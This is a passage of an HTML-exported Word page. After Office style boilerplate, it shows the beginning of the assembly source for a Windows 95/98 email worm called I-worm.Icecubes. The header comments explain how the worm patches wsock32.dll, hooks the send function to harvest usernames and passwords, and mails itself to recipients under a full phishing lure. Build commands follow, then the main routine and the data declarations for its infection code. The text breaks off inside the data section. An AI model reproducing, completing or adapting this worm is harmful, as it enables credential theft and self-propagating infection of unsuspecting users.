mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Tempus Sans ITC"; 	panose-1:4 2 4 4 3 13 7 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Viner Hand ITC"; 	panose-1:3 7 5 2 3 5 2 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Vivaldi; 	panose-1:3 2 6 2 5 5 6 9 8 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Vladimir Script"; 	panose-1:3 5 4 2 4 4 7 7 3 5; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Wide Latin"; 	panose-1:2 10 10 7 5 5 5 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Berlin Sans FB Demi"; 	panose-1:2 14 8 2 2 5 2 2 3 6; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bookshelf Symbol 7"; 	panose-1:5 1 1 1 1 1 1 1 1 1; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"MS Reference Sans Serif"; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:536871559 0 0 0 415 0;} @font-face 	{font-family:"MS Reference Specialty"; 	panose-1:5 0 5 0 0 0 0 0 0 0; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"MT Extra"; 	panose-1:5 5 1 2 1 2 5 2 2 2; 	mso-font-charset:2; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:ZWAdobeF; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:536885895 0 0 0 511 0;} @font-face 	{font-family:"Euro Sign"; 	panose-1:2 11 6 3 2 2 1 2 1 1; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 2 0 0 1 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman";} ins 	{mso-style-type:export-only; 	text-decoration:none;} span.msoIns 	{mso-style-type:export-only; 	mso-style-name:""; 	text-decoration:underline; 	text-underline:single;} span.msoDel 	{mso-style-type:export-only; 	mso-style-name:""; 	text-decoration:line-through; 	color:red;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} table.MsoTableGrid 	{mso-style-name:"Table Grid"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	border:solid windowtext 1.0pt; 	mso-border-alt:solid windowtext .5pt; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-border-insideh:.5pt solid windowtext; 	mso-border-insidev:.5pt solid windowtext; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0in 5.4pt; width: 6.15in;" width="590" valign="top"&gt;&lt;pre&gt;;****************************************************************************;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;----------------------------------------------------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;                  &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;I-worm.Icecubes v 1.05&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &lt;span style=""&gt;                             &lt;/span&gt;written by f0re &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;----------------------------------------------------------------------------;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================================================================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ABOUT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; -----&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Welcome to the sourcecode of my first i-worm. I have given this worm its&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; name, i-worm.Icecubes, because of two reasons. First of all, here where&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; i live the summer is coming..and i like icecubes in my drinks :).&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Secondly it is because of the joke behind the worm host code; when a user &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; receives the worm in his mailbox, the emailmessage looks like this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Subject: Fw: Windows Icecubes ! &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ----- Original Message -----&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;Look at what I found on the web. This tool scans your system for hidden&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;Windows settings.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;These settings, which are better known as the "Windows Icecubes", were&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;built in Windows by&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;the programmers at Microsoft and were supposed to be kept secret. &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;Just take a look, cause I think you might want to make some changes ;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; EXECUTION&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ---------&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; When the worm is executed it will first check whether it is being executed&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; under win 95/98. If any other version of windows is found, it will skip the&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; infection procedure and run the worm-host code immediately. &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; to wsock32.inf. It also copies itself to the windows system directory under &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; the name wsock2.dll. Then it will add the worm code to the .inf file by&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; increasing the size of the last section.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Next the worm will point the send api address in the wsock32.inf export table&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; to the virus code. Finally the worm drops a wininit.ini file in the windir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; to direct windows at the next reboot to overwrite the original wsock32.dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; with the infected wsock32.inf.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Then the worm will execute the worm host code; a progressbar followed by&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; funny dialog (check it out for yourself :).&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; SEND HOOK&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ---------&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Once the wsock32.dll api-hook-routine receives control it will scan the send&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; buffer for usernames and or passwords. If these are found, they are stored in the&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; file &lt;windir&gt;\icecube.txt. If an email is being sended, the worm will extract the&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; prepare a new email with the encoded host attached. The body of the email contains&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; the text as shown in the ABOUT section of this description. This new email will&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; be send after the original email has been send (this is also known as the&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; happy99 technique).&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; THANKS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ------&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; I'd like to thank the following persons who helped me with my many&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; urgo32, Lifewire, dageshi and T-2000.&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;****************************************************************************;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; To compile: &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;tasm32 icecubes.asm /ml /m&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;tlink32 -aa icecubes.obj import32.lib&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;       &lt;/span&gt;brcc32 icecubes.rc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;brc32.exe icecubes.res &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;****************************************************************************;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.386&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.model flat, stdcall&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;locals&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;jumps&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn ExitProcess:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn DialogBoxParamA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetModuleHandleA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn EndDialog:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetWindowRect:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetDesktopWindow:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn MoveWindow:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn CreateThread:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn SendDlgItemMessageA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn SetDlgItemTextA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn CloseHandle:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetDlgItemTextA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetModuleHandleA:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;extrn GetVersion:PROC&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;.data&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Start:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ebp, ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckWindowsVersion:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GetVersion&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz ReturnToWormHost&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;MainRoutines:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GET_GETPROCADDRESS_API_ADDRESS&lt;span style=""&gt;           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GET_WINDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GET_SYSDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call INFECT_WSOCK&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call COPY_HOST_FILE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;ReturnToWormHost:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp OriginalHost&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;==============================[ includes ]==================================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;include windows.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;include wsocks.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;include myinc.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=============================[ ic-data.inc ]===============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; get_gpa.inc data&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;kernel32address &lt;span style=""&gt;               &lt;/span&gt;dd 0BFF70000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;numberofnames &lt;span style=""&gt;                 &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;addressoffunctions &lt;span style=""&gt;            &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;addressofnames &lt;span style=""&gt;                &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;addressofordinals &lt;span style=""&gt;             &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AONindex &lt;span style=""&gt;                      &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetProcAddress &lt;span style=""&gt;               &lt;/span&gt;db "GetProcAddress", 0&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetProcAddressA &lt;span style=""&gt;              &lt;/span&gt;dd 0&lt;span style=""&gt;                   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; directory.inc data&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;currentdir &lt;span style=""&gt;                    &lt;/span&gt;db 100h dup(0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sysdir &lt;span style=""&gt;                        &lt;/span&gt;db 100h dup(0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;windir &lt;span style=""&gt;                        &lt;/span&gt;db 100h dup(0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetSystemDirectory &lt;span style=""&gt;           &lt;/span&gt;db "GetSystemDirectoryA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetWindowsDirectory &lt;span style=""&gt;          &lt;/span&gt;db "GetWindowsDirectoryA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASetCurrentDirectory&lt;span style=""&gt;           &lt;/span&gt;db "SetCurrentDirectoryA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; infect_wsock.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;wsock32dll &lt;span style=""&gt;                    &lt;/span&gt;db "Wsock32.dll",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;wsock32inf &lt;span style=""&gt;                    &lt;/span&gt;db "Wsock32.inf",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ACopyFile &lt;span style=""&gt;                     &lt;/span&gt;db "CopyFileA",0&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;infectionflag &lt;span style=""&gt;                 &lt;/span&gt;db 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AFindFirstFile &lt;span style=""&gt;                &lt;/span&gt;db "FindFirstFileA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;myfinddata &lt;span style=""&gt;                    &lt;/span&gt;WIN32_FIND_DATA &lt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;filesize&lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;memory &lt;span style=""&gt;                        &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ADeleteFile &lt;span style=""&gt;                   &lt;/span&gt;db "DeleteFileA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; infect_file.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASetFileAttributes &lt;span style=""&gt;            &lt;/span&gt;db "SetFileAttributesA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ACreateFile&lt;span style=""&gt;                    &lt;/span&gt;db "CreateFileA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ACreateFileMapping &lt;span style=""&gt;            &lt;/span&gt;db "CreateFileMappingA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AMapViewOfFile &lt;span style=""&gt;                &lt;/span&gt;db "MapViewOfFile",0&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;filehandle&lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;maphandle &lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mapaddress &lt;span style=""&gt;                    &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;PEheader &lt;span style=""&gt;                      &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;imagebase &lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;imagesize &lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        